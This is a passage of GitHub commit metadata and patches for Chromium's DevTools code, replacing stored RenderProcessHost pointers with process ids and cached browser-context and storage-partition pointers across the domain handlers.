{"sha": "cf6e07122f5c16c19622890fd41cfaad4c597247", "filename": "content/browser/devtools/devtools_session.cc", "status": "modified", "additions": 9, "deletions": 7, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/devtools_session.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/devtools_session.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/devtools_session.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -11,6 +11,7 @@\n #include \"content/browser/devtools/render_frame_devtools_agent_host.h\"\n #include \"content/browser/frame_host/render_frame_host_impl.h\"\n #include \"content/public/browser/devtools_manager_delegate.h\"\n+#include \"content/public/common/child_process_host.h\"\n \n namespace content {\n \n@@ -33,7 +34,7 @@ DevToolsSession::DevToolsSession(DevToolsAgentHostImpl* agent_host,\n : binding_(this),\n agent_host_(agent_host),\n client_(client),\n- process_(nullptr),\n+ process_host_id_(ChildProcessHost::kInvalidUniqueID),\n host_(nullptr),\n dispatcher_(new protocol::UberDispatcher(this)),\n weak_factory_(this) {\n@@ -50,16 +51,16 @@ DevToolsSession::~DevToolsSession() {\n void DevToolsSession::AddHandler(\n std::unique_ptr<protocol::DevToolsDomainHandler> handler) {\n handler->Wire(dispatcher_.get());\n- handler->SetRenderer(process_, host_);\n+ handler->SetRenderer(process_host_id_, host_);\n handlers_[handler->name()] = std::move(handler);\n }\n \n-void DevToolsSession::SetRenderer(RenderProcessHost* process_host,\n+void DevToolsSession::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n- process_ = process_host;\n+ process_host_id_ = process_host_id;\n host_ = frame_host;\n for (auto& pair : handlers_)\n- pair.second->SetRenderer(process_, host_);\n+ pair.second->SetRenderer(process_host_id_, host_);\n }\n \n void DevToolsSession::SetBrowserOnly(bool browser_only) {\n@@ -215,9 +216,10 @@ void DevToolsSession::DispatchProtocolMessage(\n \n void DevToolsSession::ReceivedBadMessage() {\n MojoConnectionDestroyed();\n- if (process_) {\n+ RenderProcessHost* process = RenderProcessHost::FromID(process_host_id_);\n+ if (process) {\n bad_message::ReceivedBadMessage(\n- process_, bad_message::RFH_INCONSISTENT_DEVTOOLS_MESSAGE);\n+ process, bad_message::RFH_INCONSISTENT_DEVTOOLS_MESSAGE);\n }\n }\n "}<_**next**_>{"sha": "72d19e444b564e320bdaf40af0846b30d453c419", "filename": "content/browser/devtools/devtools_session.h", "status": "modified", "additions": 2, "deletions": 4, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/devtools_session.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/devtools_session.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/devtools_session.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -35,10 +35,8 @@ class DevToolsSession : public protocol::FrontendChannel,\n void SetBrowserOnly(bool browser_only);\n \n void AddHandler(std::unique_ptr<protocol::DevToolsDomainHandler> handler);\n-\n // TODO(dgozman): maybe combine this with AttachToAgent?\n- void SetRenderer(RenderProcessHost* process_host,\n- RenderFrameHostImpl* frame_host);\n+ void SetRenderer(int process_host_id, RenderFrameHostImpl* frame_host);\n \n void AttachToAgent(const blink::mojom::DevToolsAgentAssociatedPtr& agent);\n void DispatchProtocolMessage(const std::string& message);\n@@ -89,7 +87,7 @@ class DevToolsSession : public protocol::FrontendChannel,\n bool browser_only_ = false;\n base::flat_map<std::string, std::unique_ptr<protocol::DevToolsDomainHandler>>\n handlers_;\n- RenderProcessHost* process_;\n+ int process_host_id_;\n RenderFrameHostImpl* host_;\n std::unique_ptr<protocol::UberDispatcher> dispatcher_;\n "}<_**next**_>{"sha": "5290245b0f7d9cc90a107de15f72c6107ed01525", "filename": "content/browser/devtools/protocol/devtools_domain_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/devtools_domain_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/devtools_domain_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/devtools_domain_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -17,7 +17,7 @@ DevToolsDomainHandler::DevToolsDomainHandler(const std::string& name)\n DevToolsDomainHandler::~DevToolsDomainHandler() {\n }\n \n-void DevToolsDomainHandler::SetRenderer(RenderProcessHost* process_host,\n+void DevToolsDomainHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {}\n \n void DevToolsDomainHandler::Wire(UberDispatcher* dispatcher) {"}<_**next**_>{"sha": "ea48934a0f1a8671904d91fd51628c1cfebf2c14", "filename": "content/browser/devtools/protocol/devtools_domain_handler.h", "status": "modified", "additions": 1, "deletions": 2, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/devtools_domain_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/devtools_domain_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/devtools_domain_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -10,7 +10,6 @@\n namespace content {\n \n class RenderFrameHostImpl;\n-class RenderProcessHost;\n \n namespace protocol {\n \n@@ -19,7 +18,7 @@ class DevToolsDomainHandler {\n explicit DevToolsDomainHandler(const std::string& name);\n virtual ~DevToolsDomainHandler();\n \n- virtual void SetRenderer(RenderProcessHost* process_host,\n+ virtual void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host);\n virtual void Wire(UberDispatcher* dispatcher);\n virtual Response Disable();"}<_**next**_>{"sha": "2fc40a76ff08bf3f4cc49bb6724088c939f8bb92", "filename": "content/browser/devtools/protocol/dom_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/dom_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/dom_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/dom_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -24,7 +24,7 @@ void DOMHandler::Wire(UberDispatcher* dispatcher) {\n DOM::Dispatcher::wire(dispatcher, this);\n }\n \n-void DOMHandler::SetRenderer(RenderProcessHost* process_host,\n+void DOMHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n host_ = frame_host;\n }"}<_**next**_>{"sha": "7c6bbc6deff61f7575a740b1f854bdb91e865d4d", "filename": "content/browser/devtools/protocol/dom_handler.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/dom_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/dom_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/dom_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -22,7 +22,7 @@ class DOMHandler : public DevToolsDomainHandler,\n ~DOMHandler() override;\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n Response Disable() override;\n "}<_**next**_>{"sha": "3aa6d5141cacde490cb04727eb6321344de64f86", "filename": "content/browser/devtools/protocol/emulation_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/emulation_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/emulation_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/emulation_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -64,7 +64,7 @@ EmulationHandler::EmulationHandler()\n EmulationHandler::~EmulationHandler() {\n }\n \n-void EmulationHandler::SetRenderer(RenderProcessHost* process_host,\n+void EmulationHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n if (host_ == frame_host)\n return;"}<_**next**_>{"sha": "f322802b6481d576a2dc78be70afff37bba8308a", "filename": "content/browser/devtools/protocol/emulation_handler.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/emulation_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/emulation_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/emulation_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -24,7 +24,7 @@ class EmulationHandler : public DevToolsDomainHandler,\n ~EmulationHandler() override;\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n \n Response Disable() override;"}<_**next**_>{"sha": "92c708965a5d6127043f9cb16c25482c9ea1d92b", "filename": "content/browser/devtools/protocol/input_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/input_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/input_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/input_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -267,7 +267,7 @@ std::vector<InputHandler*> InputHandler::ForAgentHost(\n host, Input::Metainfo::domainName);\n }\n \n-void InputHandler::SetRenderer(RenderProcessHost* process_host,\n+void InputHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n if (frame_host == host_)\n return;"}<_**next**_>{"sha": "6e0d79fc7df9f504472885689a509521dafaca71", "filename": "content/browser/devtools/protocol/input_handler.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/input_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/input_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/input_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -37,7 +37,7 @@ class InputHandler : public DevToolsDomainHandler,\n static std::vector<InputHandler*> ForAgentHost(DevToolsAgentHostImpl* host);\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n \n void OnSwapCompositorFrame("}<_**next**_>{"sha": "8d92ab68ec6889f977fa082f0164d7da42de2c3f", "filename": "content/browser/devtools/protocol/inspector_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/inspector_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/inspector_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/inspector_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -30,7 +30,7 @@ void InspectorHandler::Wire(UberDispatcher* dispatcher) {\n Inspector::Dispatcher::wire(dispatcher, this);\n }\n \n-void InspectorHandler::SetRenderer(RenderProcessHost* process_host,\n+void InspectorHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n host_ = frame_host;\n }"}<_**next**_>{"sha": "d41964199fd34ed64a73f5ee25dc12c7a93ffffc", "filename": "content/browser/devtools/protocol/inspector_handler.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/inspector_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/inspector_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/inspector_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -26,7 +26,7 @@ class InspectorHandler : public DevToolsDomainHandler,\n DevToolsAgentHostImpl* host);\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n \n void TargetCrashed();"}<_**next**_>{"sha": "e01d5f29a13f5f4b3c1f09c08737d1a848fb407a", "filename": "content/browser/devtools/protocol/io_handler.cc", "status": "modified", "additions": 14, "deletions": 8, "changes": 22, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/io_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/io_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/io_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -25,7 +25,8 @@ namespace protocol {\n IOHandler::IOHandler(DevToolsIOContext* io_context)\n : DevToolsDomainHandler(IO::Metainfo::domainName),\n io_context_(io_context),\n- process_host_(nullptr),\n+ browser_context_(nullptr),\n+ storage_partition_(nullptr),\n weak_factory_(this) {}\n \n IOHandler::~IOHandler() {}\n@@ -35,9 +36,16 @@ void IOHandler::Wire(UberDispatcher* dispatcher) {\n IO::Dispatcher::wire(dispatcher, this);\n }\n \n-void IOHandler::SetRenderer(RenderProcessHost* process_host,\n+void IOHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n- process_host_ = process_host;\n+ RenderProcessHost* process_host = RenderProcessHost::FromID(process_host_id);\n+ if (process_host) {\n+ browser_context_ = process_host->GetBrowserContext();\n+ storage_partition_ = process_host->GetStoragePartition();\n+ } else {\n+ browser_context_ = nullptr;\n+ storage_partition_ = nullptr;\n+ }\n }\n \n void IOHandler::Read(\n@@ -50,15 +58,13 @@ void IOHandler::Read(\n \n scoped_refptr<DevToolsIOContext::ROStream> stream =\n io_context_->GetByHandle(handle);\n- if (!stream && process_host_ &&\n+ if (!stream && browser_context_ &&\n StartsWith(handle, kBlobPrefix, base::CompareCase::SENSITIVE)) {\n- BrowserContext* browser_context = process_host_->GetBrowserContext();\n ChromeBlobStorageContext* blob_context =\n- ChromeBlobStorageContext::GetFor(browser_context);\n- StoragePartition* storage_partition = process_host_->GetStoragePartition();\n+ ChromeBlobStorageContext::GetFor(browser_context_);\n std::string uuid = handle.substr(strlen(kBlobPrefix));\n stream =\n- io_context_->OpenBlob(blob_context, storage_partition, handle, uuid);\n+ io_context_->OpenBlob(blob_context, storage_partition_, handle, uuid);\n }\n \n if (!stream) {"}<_**next**_>{"sha": "7a25cae00ef85d80429a1fd1821134813d0f9939", "filename": "content/browser/devtools/protocol/io_handler.h", "status": "modified", "additions": 5, "deletions": 2, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/io_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/io_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/io_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -11,7 +11,9 @@\n #include \"content/browser/devtools/protocol/io.h\"\n \n namespace content {\n+class BrowserContext;\n class DevToolsIOContext;\n+class StoragePartition;\n \n namespace protocol {\n \n@@ -22,7 +24,7 @@ class IOHandler : public DevToolsDomainHandler,\n ~IOHandler() override;\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n \n // Protocol methods.\n@@ -41,7 +43,8 @@ class IOHandler : public DevToolsDomainHandler,\n \n std::unique_ptr<IO::Frontend> frontend_;\n DevToolsIOContext* io_context_;\n- RenderProcessHost* process_host_;\n+ BrowserContext* browser_context_;\n+ StoragePartition* storage_partition_;\n base::WeakPtrFactory<IOHandler> weak_factory_;\n \n DISALLOW_COPY_AND_ASSIGN(IOHandler);"}<_**next**_>{"sha": "d1bdbb08b69e37e006be3406374a2e0857f70f96", "filename": "content/browser/devtools/protocol/network_handler.cc", "status": "modified", "additions": 34, "deletions": 37, "changes": 71, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/network_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/network_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/network_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -694,7 +694,8 @@ void ConfigureServiceWorkerContextOnIO() {\n \n NetworkHandler::NetworkHandler(const std::string& host_id)\n : DevToolsDomainHandler(Network::Metainfo::domainName),\n- process_(nullptr),\n+ browser_context_(nullptr),\n+ storage_partition_(nullptr),\n host_(nullptr),\n enabled_(false),\n host_id_(host_id),\n@@ -724,9 +725,17 @@ void NetworkHandler::Wire(UberDispatcher* dispatcher) {\n Network::Dispatcher::wire(dispatcher, this);\n }\n \n-void NetworkHandler::SetRenderer(RenderProcessHost* process_host,\n+void NetworkHandler::SetRenderer(int render_process_host_id,\n RenderFrameHostImpl* frame_host) {\n- process_ = process_host;\n+ RenderProcessHost* process_host =\n+ RenderProcessHost::FromID(render_process_host_id);\n+ if (process_host) {\n+ storage_partition_ = process_host->GetStoragePartition();\n+ browser_context_ = process_host->GetBrowserContext();\n+ } else {\n+ storage_partition_ = nullptr;\n+ browser_context_ = nullptr;\n+ }\n host_ = frame_host;\n }\n \n@@ -775,13 +784,12 @@ class DevtoolsClearCacheObserver\n \n void NetworkHandler::ClearBrowserCache(\n std::unique_ptr<ClearBrowserCacheCallback> callback) {\n- if (!process_) {\n+ if (!browser_context_) {\n callback->sendFailure(Response::InternalError());\n return;\n }\n content::BrowsingDataRemover* remover =\n- content::BrowserContext::GetBrowsingDataRemover(\n- process_->GetBrowserContext());\n+ content::BrowserContext::GetBrowsingDataRemover(browser_context_);\n remover->RemoveAndReply(\n base::Time(), base::Time::Max(),\n content::BrowsingDataRemover::DATA_TYPE_CACHE,\n@@ -791,7 +799,7 @@ void NetworkHandler::ClearBrowserCache(\n \n void NetworkHandler::ClearBrowserCookies(\n std::unique_ptr<ClearBrowserCookiesCallback> callback) {\n- if (!process_) {\n+ if (!storage_partition_) {\n callback->sendFailure(Response::InternalError());\n return;\n }\n@@ -800,8 +808,7 @@ void NetworkHandler::ClearBrowserCookies(\n BrowserThread::IO, FROM_HERE,\n base::BindOnce(\n &ClearCookiesOnIO,\n- base::Unretained(\n- process_->GetStoragePartition()->GetURLRequestContext()),\n+ base::Unretained(storage_partition_->GetURLRequestContext()),\n std::move(callback)));\n }\n \n@@ -820,14 +827,12 @@ void NetworkHandler::GetCookies(Maybe<Array<String>> protocol_urls,\n BrowserThread::IO, FROM_HERE,\n base::BindOnce(\n &CookieRetriever::RetrieveCookiesOnIO, retriever,\n- base::Unretained(\n- process_->GetStoragePartition()->GetURLRequestContext()),\n- urls));\n+ base::Unretained(storage_partition_->GetURLRequestContext()), urls));\n }\n \n void NetworkHandler::GetAllCookies(\n std::unique_ptr<GetAllCookiesCallback> callback) {\n- if (!process_) {\n+ if (!storage_partition_) {\n callback->sendFailure(Response::InternalError());\n return;\n }\n@@ -839,8 +844,7 @@ void NetworkHandler::GetAllCookies(\n BrowserThread::IO, FROM_HERE,\n base::BindOnce(\n &CookieRetriever::RetrieveAllCookiesOnIO, retriever,\n- base::Unretained(\n- process_->GetStoragePartition()->GetURLRequestContext())));\n+ base::Unretained(storage_partition_->GetURLRequestContext())));\n }\n \n void NetworkHandler::SetCookie(const std::string& name,\n@@ -853,7 +857,7 @@ void NetworkHandler::SetCookie(const std::string& name,\n Maybe<std::string> same_site,\n Maybe<double> expires,\n std::unique_ptr<SetCookieCallback> callback) {\n- if (!process_) {\n+ if (!storage_partition_) {\n callback->sendFailure(Response::InternalError());\n return;\n }\n@@ -867,19 +871,17 @@ void NetworkHandler::SetCookie(const std::string& name,\n BrowserThread::IO, FROM_HERE,\n base::BindOnce(\n &SetCookieOnIO,\n- base::Unretained(\n- process_->GetStoragePartition()->GetURLRequestContext()),\n- name, value, url.fromMaybe(\"\"), domain.fromMaybe(\"\"),\n- path.fromMaybe(\"\"), secure.fromMaybe(false),\n- http_only.fromMaybe(false), same_site.fromMaybe(\"\"),\n- expires.fromMaybe(-1),\n+ base::Unretained(storage_partition_->GetURLRequestContext()), name,\n+ value, url.fromMaybe(\"\"), domain.fromMaybe(\"\"), path.fromMaybe(\"\"),\n+ secure.fromMaybe(false), http_only.fromMaybe(false),\n+ same_site.fromMaybe(\"\"), expires.fromMaybe(-1),\n base::BindOnce(&CookieSetOnIO, std::move(callback))));\n }\n \n void NetworkHandler::SetCookies(\n std::unique_ptr<protocol::Array<Network::CookieParam>> cookies,\n std::unique_ptr<SetCookiesCallback> callback) {\n- if (!process_) {\n+ if (!storage_partition_) {\n callback->sendFailure(Response::InternalError());\n return;\n }\n@@ -888,8 +890,7 @@ void NetworkHandler::SetCookies(\n BrowserThread::IO, FROM_HERE,\n base::BindOnce(\n &SetCookiesOnIO,\n- base::Unretained(\n- process_->GetStoragePartition()->GetURLRequestContext()),\n+ base::Unretained(storage_partition_->GetURLRequestContext()),\n std::move(cookies),\n base::BindOnce(&CookiesSetOnIO, std::move(callback))));\n }\n@@ -900,7 +901,7 @@ void NetworkHandler::DeleteCookies(\n Maybe<std::string> domain,\n Maybe<std::string> path,\n std::unique_ptr<DeleteCookiesCallback> callback) {\n- if (!process_) {\n+ if (!storage_partition_) {\n callback->sendFailure(Response::InternalError());\n return;\n }\n@@ -913,9 +914,8 @@ void NetworkHandler::DeleteCookies(\n BrowserThread::IO, FROM_HERE,\n base::BindOnce(\n &DeleteCookiesOnIO,\n- base::Unretained(\n- process_->GetStoragePartition()->GetURLRequestContext()),\n- name, url.fromMaybe(\"\"), domain.fromMaybe(\"\"), path.fromMaybe(\"\"),\n+ base::Unretained(storage_partition_->GetURLRequestContext()), name,\n+ url.fromMaybe(\"\"), domain.fromMaybe(\"\"), path.fromMaybe(\"\"),\n base::BindOnce(&DeleteCookiesCallback::sendSuccess,\n std::move(callback))));\n }\n@@ -1217,8 +1217,7 @@ void NetworkHandler::ContinueInterceptedRequest(\n Maybe<protocol::Network::AuthChallengeResponse> auth_challenge_response,\n std::unique_ptr<ContinueInterceptedRequestCallback> callback) {\n DevToolsInterceptorController* interceptor =\n- DevToolsInterceptorController::FromBrowserContext(\n- process_->GetBrowserContext());\n+ DevToolsInterceptorController::FromBrowserContext(browser_context_);\n if (!interceptor) {\n callback->sendFailure(Response::InternalError());\n return;\n@@ -1260,9 +1259,7 @@ void NetworkHandler::GetResponseBodyForInterception(\n const String& interception_id,\n std::unique_ptr<GetResponseBodyForInterceptionCallback> callback) {\n DevToolsInterceptorController* interceptor =\n- DevToolsInterceptorController::FromBrowserContext(\n- process_->GetBrowserContext());\n-\n+ DevToolsInterceptorController::FromBrowserContext(browser_context_);\n if (!interceptor) {\n callback->sendFailure(Response::InternalError());\n return;\n@@ -1400,10 +1397,10 @@ void NetworkHandler::RequestIntercepted(\n \n void NetworkHandler::SetNetworkConditions(\n network::mojom::NetworkConditionsPtr conditions) {\n- if (!process_)\n+ if (!storage_partition_)\n return;\n- StoragePartition* partition = process_->GetStoragePartition();\n- network::mojom::NetworkContext* context = partition->GetNetworkContext();\n+ network::mojom::NetworkContext* context =\n+ storage_partition_->GetNetworkContext();\n context->SetNetworkConditions(host_id_, std::move(conditions));\n }\n "}<_**next**_>{"sha": "e261fb8d083e64f4da29170491c9e446dfa5c76b", "filename": "content/browser/devtools/protocol/network_handler.h", "status": "modified", "additions": 5, "deletions": 3, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/network_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/network_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/network_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -28,13 +28,14 @@ struct URLLoaderCompletionStatus;\n } // namespace network\n \n namespace content {\n+class BrowserContext;\n class DevToolsAgentHostImpl;\n class RenderFrameHostImpl;\n-struct GlobalRequestID;\n class InterceptionHandle;\n class NavigationHandle;\n class NavigationRequest;\n class NavigationThrottle;\n+class StoragePartition;\n struct GlobalRequestID;\n struct InterceptedRequestInfo;\n struct ResourceRequest;\n@@ -50,7 +51,7 @@ class NetworkHandler : public DevToolsDomainHandler,\n static std::vector<NetworkHandler*> ForAgentHost(DevToolsAgentHostImpl* host);\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int render_process_id,\n RenderFrameHostImpl* frame_host) override;\n \n Response Enable(Maybe<int> max_total_size,\n@@ -150,7 +151,8 @@ class NetworkHandler : public DevToolsDomainHandler,\n void SetNetworkConditions(network::mojom::NetworkConditionsPtr conditions);\n \n std::unique_ptr<Network::Frontend> frontend_;\n- RenderProcessHost* process_;\n+ BrowserContext* browser_context_;\n+ StoragePartition* storage_partition_;\n RenderFrameHostImpl* host_;\n bool enabled_;\n std::string user_agent_;"}<_**next**_>{"sha": "c02c2f4b9f4eaeba3511b6d7e7281f8e59627e3b", "filename": "content/browser/devtools/protocol/page_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/page_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/page_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/page_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -148,7 +148,7 @@ std::vector<PageHandler*> PageHandler::ForAgentHost(\n host, Page::Metainfo::domainName);\n }\n \n-void PageHandler::SetRenderer(RenderProcessHost* process_host,\n+void PageHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n if (host_ == frame_host)\n return;"}<_**next**_>{"sha": "9c02cad8a812a6cb98309b4d5ad7dce9622c9627", "filename": "content/browser/devtools/protocol/page_handler.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/page_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/page_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/page_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -61,7 +61,7 @@ class PageHandler : public DevToolsDomainHandler,\n static std::vector<PageHandler*> ForAgentHost(DevToolsAgentHostImpl* host);\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n void OnSwapCompositorFrame(viz::CompositorFrameMetadata frame_metadata);\n void OnSynchronousSwapCompositorFrame("}<_**next**_>{"sha": "bd4a401fdca89c26bbe2f083fe327182f1a359a4", "filename": "content/browser/devtools/protocol/security_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/security_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/security_handler.cc", "contents_url": 